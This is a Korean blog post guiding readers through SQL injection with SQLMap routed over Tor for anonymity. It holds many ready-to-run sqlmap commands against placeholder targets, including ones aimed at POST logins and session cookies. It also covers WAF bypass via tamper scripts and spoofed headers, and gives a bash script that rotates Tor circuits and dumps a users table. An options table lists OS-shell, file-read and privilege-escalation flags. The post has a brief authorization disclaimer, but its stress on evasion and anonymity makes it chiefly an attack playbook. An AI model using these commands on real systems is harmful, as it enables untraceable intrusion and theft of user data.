sql map

agnusdei·2025년 6월 8일
0

CTF

목록 보기
17/168

Tor + SQLMap 완전 가이드: 레드팀을 위한 익명 SQL 인젝션 테스트

1. Tor 설치 및 설정

기본 설치 (Ubuntu/Debian)

sudo apt update
sudo apt install tor torsocks -y
sudo systemctl start tor
sudo systemctl enable tor

Tor 연결 확인

torsocks curl https://check.torproject.org
# "Congratulations. This browser is configured to use Tor." 출력 확인

Tor 회로 재설정 (새 IP 획득)

echo -e 'AUTHENTICATE ""\r\nSIGNAL NEWNYM\r\nQUIT' | nc 127.0.0.1 9051

2. SQLMap 설치 및 기본 사용법

설치 (Kali Linux)

sudo apt install sqlmap -y

기본 명령어

sqlmap -u "http://example.com/page.php?id=1" --batch

3. Tor + SQLMap 기본 조합

최소 구성

sqlmap -u "http://example.com/page.php?id=1" \
  --tor --tor-type=SOCKS5 --check-tor \
  --batch

옵션 설명:

  • --tor: Tor 네트워크 사용
  • --tor-type=SOCKS5: SOCKS5 프록시 사용 (Tor의 기본)
  • --check-tor: Tor 연결 확인
  • --batch: 모든 대화형 질문에 기본값으로 응답

4. 고급 익명성 옵션 조합

익명성 강화 설정

sqlmap -u "http://example.com/page.php?id=1" \
  --tor --tor-type=SOCKS5 --check-tor \
  --random-agent \
  --delay=3 \
  --timeout=30 \
  --retries=3 \
  --hex \
  --output-dir=/tmp/sqlmap_tor_results

옵션 상세:

옵션설명권장값
--random-agent랜덤 User-Agent 사용항상 사용
--delay요청 간 지연 시간(초)2-5초
--timeout연결 타임아웃(초)20-60초
--retries실패 시 재시도 횟수3-5회
--hex특수 문자 HEX 인코딩필터 우회 시
--output-dir결과 저장 디렉토리/tmp/...

5. 다양한 공격 시나리오

시나리오 1: POST 데이터 대상 테스트

sqlmap -u "http://example.com/login.php" \
  --data="username=admin&password=123" \
  --tor --tor-type=SOCKS5 \
  --method=POST \
  --level=5 \
  --risk=3

시나리오 2: 쿠키 인증이 필요한 페이지

sqlmap -u "http://example.com/dashboard.php" \
  --cookie="PHPSESSID=1234567890abcdef; security=high" \
  --tor --tor-type=SOCKS5 \
  --batch \
  --dbs

시나리오 3: 파일 기반 대상 테스트 (여러 URL)

# urls.txt 파일 생성
echo "http://example.com/page1.php?id=1" > urls.txt
echo "http://example.com/page2.php?user=2" >> urls.txt
echo "http://example.com/search?q=test" >> urls.txt

# 명령어 실행
sqlmap -m urls.txt \
  --tor --tor-type=SOCKS5 \
  --threads=2 \
  --smart

6. 워드리스트 활용

SecLists 설치

git clone --depth 1 https://github.com/danielmiessler/SecLists.git

테이블 이름 브루트포싱

sqlmap -u "http://example.com/page.php?id=1" \
  --tor --tor-type=SOCKS5 \
  --common-tables \
  -t ./SecLists/Discovery/Web-Content/common-tables.txt \
  --threads=2

컬럼 이름 브루트포싱

sqlmap -u "http://example.com/page.php?id=1" \
  --tor --tor-type=SOCKS5 \
  --columns \
  -c ./SecLists/Discovery/Web-Content/common-columns.txt

7. WAF 우회 기법

TAMPER 스크립트 조합

sqlmap -u "http://example.com/page.php?id=1" \
  --tor --tor-type=SOCKS5 \
  --tamper=space2comment,charencode,randomcase \
  --level=5 \
  --risk=3

헤더 조작을 통한 우회

sqlmap -u "http://example.com/page.php?id=1" \
  --tor --tor-type=SOCKS5 \
  --random-agent \
  --headers="X-Forwarded-For:127.0.0.1\nX-Real-IP:127.0.0.1" \
  --eval="import random; print('X-Custom-Header: %d' % random.randint(1000,9999))"

8. DBMS 특화 공격

MySQL 대상 공격

sqlmap -u "http://example.com/page.php?id=1" \
  --tor --tor-type=SOCKS5 \
  --dbms=mysql \
  --common-tables \
  -t ./SecLists/Discovery/Web-Content/MySQL.txt \
  --hex

Oracle 대상 공격

sqlmap -u "http://example.com/page.php?id=1" \
  --tor --tor-type=SOCKS5 \
  --dbms=oracle \
  --common-tables \
  -t ./SecLists/Discovery/Web-Content/Oracle.txt \
  --no-escape

9. 세션 관리 및 재개

세션 저장

sqlmap -u "http://example.com/page.php?id=1" \
  --tor --tor-type=SOCKS5 \
  --session=example_session

세션 재개

sqlmap --session=example_session \
  --tor --tor-type=SOCKS5

10. 성능 최적화

Tor 네트워크 특성 고려

sqlmap -u "http://example.com/page.php?id=1" \
  --tor --tor-type=SOCKS5 \
  --threads=2 \          # 낮은 스레드 수 유지
  --delay=5 \            # 높은 딜레이 설정
  --timeout=60 \         # 긴 타임아웃 설정
  --retries=5 \          # 재시도 횟수 증가
  --keep-alive           # Keep-Alive 연결 사용

랜덤 지연 적용

sqlmap -u "http://example.com/page.php?id=1" \
  --tor --tor-type=SOCKS5 \
  --delay=3 --time-sec=5 \
  --randomize=length \
  --safe-url="http://example.com/" \
  --safe-freq=10

11. 실전 스크립트 예제

자동화 스크립트 (Tor 회로 재설정 포함)

#!/bin/bash

# Tor 회로 재설정
reset_tor() {
  echo -e 'AUTHENTICATE ""\r\nSIGNAL NEWNYM\r\nQUIT' | nc 127.0.0.1 9051
  sleep 10
}

# 대상 URL
TARGET="http://example.com/vulnerable.php?id=1"

# 1. 기본 스캔
reset_tor
sqlmap -u "$TARGET" --tor --tor-type=SOCKS5 --batch --dbs

# 2. 테이블 열거
reset_tor
sqlmap -u "$TARGET" --tor --tor-type=SOCKS5 --tables -D testdb

# 3. 데이터 덤프
reset_tor
sqlmap -u "$TARGET" --tor --tor-type=SOCKS5 --dump -D testdb -T users

12. 주의사항 및 모범 사례

법적/윤리적 고려사항

  1. 허가받지 않은 테스트 금지: 오직 자신이 소유하거나 테스트 권한이 있는 시스템만 대상으로
  2. 책임 있는 공개: 발견된 취약점은 적절한 채널을 통해 보고
  3. 데이터 무결성: 테스트 시 데이터 변조나 삭제 방지

기술적 주의사항

  1. 출구 노드 차단: 일부 사이트는 Tor 출구 노드를 차단할 수 있음
  2. 로그 관리: --output-dir로 결과 저장 및 분석
  3. 세션 관리: 장시간 테스트 시 --session 사용
  4. 네트워크 부하: --delay--threads로 네트워크 부하 조절

13. 문제 해결

일반적인 문제

# Tor 연결 실패 시
sudo systemctl status tor
sudo tail -f /var/log/tor/log

# SQLMap Tor 연결 확인
sqlmap --check-tor

# 상세 로깅
sqlmap -u "http://example.com/page.php?id=1" --tor -v 6

Tor 회로 문제 해결

# Tor 설정 변경 (/etc/tor/torrc)
ExitNodes {us},{gb},{de}  # 특정 국가 출구 노드 지정
StrictNodes 1             # 지정된 노드만 사용

# Tor 재시작
sudo systemctl restart tor

14. 참고 자료

  1. 공식 SQLMap 문서
  2. Tor 프로젝트
  3. SecLists 프로젝트
  4. OWASP 테스팅 가이드
  5. SQLMap Tamper 스크립트 가이드

이 가이드는 교육 및 합법적인 보안 테스트 목적으로만 사용되어야 합니다. 모든 테스트는 대상 시스템 소유자의 명시적인 허가를 받아 수행해야 합니다.

sqlmap -u "http://example.com/page.php?id=1" --batch 내부 동작 상세 분석

이 명령어는 SQLMap의 완전 자동화 모드로, 내부적으로 다음과 같은 복잡한 프로세스를 자동으로 수행합니다:

1. 초기 환경 분석 단계 (0.5초)

  • 대상 시스템 식별:
    if not injection_point:
        for param in url_params:
            if is_injectable(param):
                targets.append(param)
  • DBMS 핑거프린팅: HTTP 헤더/에러 메시지 분석으로 DBMS 종류 자동 감지
  • WAF 탐지: Cloudflare, ModSecurity 등 방화벽 존재 여부 체크

2. 인젝션 테스트 단계 (3-5분)

graph TD
    A[Boolean-based 테스트] --> B[Error-based 테스트]
    B --> C[Time-based 테스트]
    C --> D[UNION 쿼리 테스트]
    D --> E[스택드 쿼리 테스트]
    E --> F[Out-of-band 테스트]
  1. 5단계 공격 기법 순차적 시도:

    • 1=1/1=2 불린 기반 테스트
    • AND (SELECT 2*(IF((SELECT * FROM ... 에러 기반 테스트
    • SLEEP(5) 타임딜레이 테스트
    • UNION ALL SELECT NULL,... 유니온 기반 테스트
    • ; DROP TABLE temp 스택드 쿼리 테스트
  2. 자동화된 페이로드 생성:

    payloads = generate_payloads(
        techniques=['boolean','error','time','union','stacked'],
        level=1, # --batch 기본값
        risk=1  # --batch 기본값
    )

3. 정보 수집 단계 (2-3분)

  • DBMS 정보 자동 수집:
    SELECT version(), user(), database()
  • 데이터베이스 구조 분석:
    SELECT table_name FROM information_schema.tables
    SELECT column_name FROM information_schema.columns 
    WHERE table_name = 'users'

4. 데이터 추출 단계 (가변적)

  • 핵심 테이블 우선순위 자동 선정:
    priority_tables = ['users','accounts','customers','passwords']
    for table in priority_tables:
        if table in detected_tables:
            dump_data(table)

5. 세션 관리 및 재개

  • 자동 세션 저장:
    # 실제 내부 동작
    sqlmap --save -s ~/.sqlmap/output/session.sqlite

--batch 모드의 핵심 자동화 원리

  1. 모든 대화형 프롬프트에 기본값 적용:

    # 의사코드 예시
    def prompt(question, default='Y'):
        if '--batch' in sys.argv:
            return default
        # ... 사용자 입력 대기
  2. 최소한의 위험 설정:

    • --level=1 (기본 테스트만 수행)
    • --risk=1 (낮은 위험도 공격만 시도)
  3. 지능형 결정 알고리즘:

    if vulnerable and not sensitive_data:
        continue_attack = True  # 공격 계속 진행
    elif sensitive_data_detected:
        ask_permission = False  # --batch는 자동 계속

실제 내부 로그 예시 (요약)

[INFO] testing connection to target
[INFO] testing if parameter 'id' is dynamic
[PAYLOAD] 1 AND 1=1
[PAYLOAD] 1 AND 1=2
[INFO] parameter 'id' is vulnerable
[INFO] DBMS: MySQL >= 5.0
[INFO] fetching database names
[INFO] resumed: ['information_schema', 'webapp']
[INFO] fetching tables for database 'webapp'
[INFO] resumed: ['users','products','logs']
[INFO] auto-selecting table 'users'
[INFO] fetching columns for table 'users'
[INFO] resumed: ['id','username','password']
[INFO] dumping table 'users'
[INFO] resumed: (1, 'admin', '9f86d081...')

--batch의 숨은 위험성

- 경고: 이 모드는 공격의 공격성을 제한하지만
+ 자동으로 중요한 데이터(사용자 계정 등)를 덤프할 수 있음
- 법적 문제 발생 가능성이 있으므로 반드시 허가된 환경에서만 사용

진정한 "완전 자동화"를 위한 확장 명령어

sqlmap -u "http://example.com/page.php?id=1" --batch \
  --dump-all  # 모든 DB/테이블 덤프
  --exclude-sysdbs  # 시스템 DB 제외
  --flush-session  # 이전 세션 무시

이 명령어 한 줄 뒤에는 수백 개의 SQL 쿼리, 다양한 탐지 기법, 데이터 분석 로직이 숨겨져 있습니다. SQLMap의 자동화 엔진은 실제로 15만 줄 이상의 Python 코드로 구현된 지능형 취약점 탐지


✅ sqlmap 주요 옵션 정리표 (분류별)

분류옵션설명
📌 기본 설정-uURL 지정 (ex: -u "http://target.com/index.php?id=1")
-r요청(Request) 파일 사용
--dataPOST 데이터 직접 입력
--cookie쿠키 입력
--headers사용자 정의 헤더 입력
--proxy프록시 지정 (ex: --proxy="http://127.0.0.1:8080")
--torTor 네트워크 사용
--timeout타임아웃 설정
--retries재시도 횟수 설정

분류옵션설명
🔎 탐지 관련--level인젝션 테스트 강도 (1~5, 기본: 1)
--risk위험 수준 설정 (1~3, 기본: 1)
--technique사용할 공격 기술 선택 (ex: B, T, U, S, E, Q)
--batch자동으로 모든 질문에 "yes"로 응답
--random-agent랜덤 User-Agent 사용
--delay요청 간 딜레이 (초)
--time-sec타임기반 인젝션 시간 (ex: --time-sec=10)

분류옵션설명
📂 데이터베이스 정보--dbs데이터베이스 목록 출력
--tables테이블 목록 출력 (-D 옵션 필요)
--columns컬럼 목록 출력 (-D, -T 필요)
--dump데이터 덤프
--dump-all전체 데이터베이스의 데이터 덤프
-D데이터베이스 이름 지정
-T테이블 이름 지정
-C컬럼 이름 지정

분류옵션설명
🛠️ 인증/우회--auth-type인증 방식 설정 (ex: Basic, Digest 등)
--auth-cred인증 자격 입력 (ex: user\:pass)
--ignore-code특정 HTTP 코드 무시
--string성공 판단 문자열 지정
--not-string실패 판단 문자열 지정
--code성공 응답 코드 지정
--safe-url, --safe-post공격 후 접근할 안전 URL 및 POST 요청

분류옵션설명
⚙️ 고급 기능--os-shellOS 쉘 획득
--os-cmdOS 명령어 실행
--sql-shellSQL 쉘 인터페이스
--file-read서버 파일 읽기
--file-write서버 파일 쓰기
--file-dest파일 쓰기 대상 경로
--priv-esc권한 상승 시도
--passwordsDB 사용자 패스워드 덤프
--usersDB 사용자 목록 출력
--rolesDB 역할 정보
--privilegesDB 권한 정보 출력

분류옵션설명
🧪 테스트--identify-wafWAF(Web Application Firewall) 탐지
--tor-typeTor 방식 선택 (ex: SOCKS5)
--check-torTor 동작 확인
--flush-session세션 캐시 삭제
--crawl링크 크롤링
--forms폼 자동 탐지
--crawl-exclude크롤링 제외 경로 설정

분류옵션설명
🧰 기타--updatesqlmap 업데이트
--purge-output출력 디렉토리 삭제
--wizard단계별 마법사 실행
--output-dir결과 저장 디렉토리 지정
--tamper탐지 우회용 Tamper 스크립트 사용

✅ 핵심 청킹 요약

  • 탐지 강도: --level, --risk
  • 기본 정보 수집: --dbs, --tables, --columns, --dump
  • 고급 기능: --os-shell, --file-read, --priv-esc
  • 우회/탐지 우회: --tamper, --random-agent, --tor

profile
DevSecOps ⚙️ + CTF🚩

0개의 댓글